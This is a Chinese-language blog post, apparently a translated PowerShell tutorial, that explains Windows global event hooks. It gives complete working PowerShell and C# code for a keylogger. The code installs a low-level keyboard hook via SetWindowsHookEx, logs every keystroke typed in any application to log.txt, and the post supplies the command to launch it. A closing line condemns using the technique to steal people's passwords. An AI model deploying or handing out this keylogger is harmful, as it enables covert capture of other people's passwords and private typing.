监听Windows按键记录

PowerShell使用Hook(钩子)全局监听Windows按键事件 9


Microsoft Windows 的应用程序是事件驱动的。操作系统的消息响应生成的各种条件 (如用户移动鼠标或单击按钮) 时,并将这些消息发送到应用程序窗口,在那里它们由消息处理程序来处理。应用程序还可以生成自己的消息 ;管理其自己的窗口,或影响与其他应用程序关联的窗口的行为。

它是可以编写自定义处理程序 (回调),将钩子到事件系统和拦截消息发送给应用程序。在处理消息之后, 回调可以抛弃它,或允许它来传递到下一个可用的处理程序。

有两个类别的事件钩: 本地和全局。一个当地的钩子只将响应发送到单个应用程序的消息。全球系统钩子将响应发送桌面会话的创建钩子的线程内的所有邮件。

下面的 C# 类 (在 PowerShell 中定义) 使用 SetWindowsHookEx 创建监视低层键盘输入的事件的全局钩子。引用的回调然后写入 log.txt 每个按键。

Add-Type -TypeDefinition @"
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace KeyLogger {
  public static class Program {
    private const int WH_KEYBOARD_LL = 13;
    private const int WM_KEYDOWN = 0x0100;

    private const string logFileName = "log.txt";
    private static StreamWriter logFile;

    private static HookProc hookProc = HookCallback;
    private static IntPtr hookId = IntPtr.Zero;

    public static void Main() {
      logFile = File.AppendText(logFileName);
      logFile.AutoFlush = true;

      hookId = SetHook(hookProc);
      Application.Run();
      UnhookWindowsHookEx(hookId);
    }

    private static IntPtr SetHook(HookProc hookProc) {
      IntPtr moduleHandle = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName);
      return SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, moduleHandle, 0);
    }

    private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);

    private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) {
      if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) {
        int vkCode = Marshal.ReadInt32(lParam);
        logFile.WriteLine((Keys)vkCode);
      }

      return CallNextHookEx(hookId, nCode, wParam, lParam);
    }

    [DllImport("user32.dll")]
    private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);

    [DllImport("user32.dll")]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

    [DllImport("user32.dll")]
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

    [DllImport("kernel32.dll")]
    private static extern IntPtr GetModuleHandle(string lpModuleName);
  }
}
"@ -ReferencedAssemblies System.Windows.Forms

[KeyLogger.Program]::Main();

将上面的脚本保存为log.ps1,然后打开cmd输入:

powershell.exe -file log.ps1

这个时候你可以将鼠标焦点切换到其他应用程序,比如,IE,记事本等,然后敲击键盘。此时所有的按键记录都会记录在当前目录下的log.txt。

监听Windows按键记录

监听Windows按键记录

原文作者:Peter Hinchley
原文链接Creating a key logger via a global system hook using PowerShell

 

最后强烈鄙视和唾弃那些用此方法盗取小白账号和密码的不道德行径。

 

本文链接: https://www.pstips.net/creating-a-key-logger-via-a-global-system-hook-using-powershell.html
请尊重原作者和编辑的辛勤劳动,欢迎转载,并注明出处!

关于 Mooser Lee

我是一个Powershell的爱好者,创建了PowerShell中文博客,热衷于Powershell技术的搜集和分享。本站部分内容来源于互联网,不足之处敬请谅解,并欢迎您批评指正。

回复 penshine 取消回复

您的电子邮箱地址不会被公开。 必填项已用*标注

9 条评论 “PowerShell使用Hook(钩子)全局监听Windows按键事件